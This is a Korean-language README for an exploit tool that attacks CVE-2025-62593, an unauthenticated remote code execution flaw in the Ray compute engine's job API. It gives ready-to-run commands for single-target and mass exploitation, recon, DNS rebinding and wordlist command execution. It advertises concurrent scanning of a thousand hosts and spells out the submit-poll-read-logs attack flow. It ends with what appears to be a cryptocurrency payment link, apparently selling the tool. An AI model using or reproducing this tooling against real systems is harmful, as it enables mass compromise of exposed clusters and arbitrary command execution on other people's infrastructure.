CVE-2025-62593 — Ray 인증 없이 원격 코드 실행 익스플로잇

개요

CVE-2025-62593은 Ray 분산 AI 컴퓨팅 엔진의 인증되지 않은 원격 코드 실행 취약점입니다. 근본 원인은 중요한 HTTP 엔드포인트(/api/jobs, /api/job_agent/jobs)에 인증이 없다는 점입니다. 공격자는 엔트리포인트가 임의의 명령인 Ray Job을 제출하여 클러스터 헤드 노드에서 이를 실행할 수 있습니다.

빠른 시작

# 단일 대상
python3 ray_rce_poc.py --target http://HOST:8265

# 대량 스캔 (동시 10개)
python3 ray_rce_poc.py --targets list.txt --command "id" -o results.json

# 정찰 모드 (빠른 열거)
python3 ray_rce_poc.py --recon --targets list.txt

# DNS 리바인딩 모드
python3 ray_rce_poc.py --dns-rebind --target http://HOST:8265 --rebind-host 10.0.0.1

# 워드리스트 스캔
python3 ray_rce_poc.py --targets list.txt --wordlist commands.txt -o results.csv

기능

• Asyncio 동시성 — 병렬 처리 구성 가능(기본값: 10), 1개 대상과 동일한 시간에 1000개 대상 스캔
• 재시도 + 지수 백오프 — 요청당 3회 재시도
• 진행률 표시줄 + ETA — 실시간 ASCII 진행률
• 컬러 출력 — ANSI 색상(✓/✗/○)
• 3가지 출력 형식 — JSON / CSV / JSONL (확장자에서 자동 감지)
• 정찰 모드 — 작업 제출 없이 빠른 열거
• DNS 리바인딩 모드 — 전체 RebindHTTPConnection 구현
• 워드리스트 모드 — 명령 목록에 대한 스캔
• 표준 라이브러리만 사용 — 외부 의존성 없음, Python 3.8+

공격 흐름

1. 작업 제출 — 대상 명령을 실행하는 엔트리포인트로 POST /api/jobs/
2. 상태 폴링 — 작업이 종료 상태에 도달할 때까지 GET /api/jobs/
3. 로그 검색 — 출력을 복구하기 위해 GET /api/jobs/{id}/logs

https://satoshi-box.com/pay/CSIgNt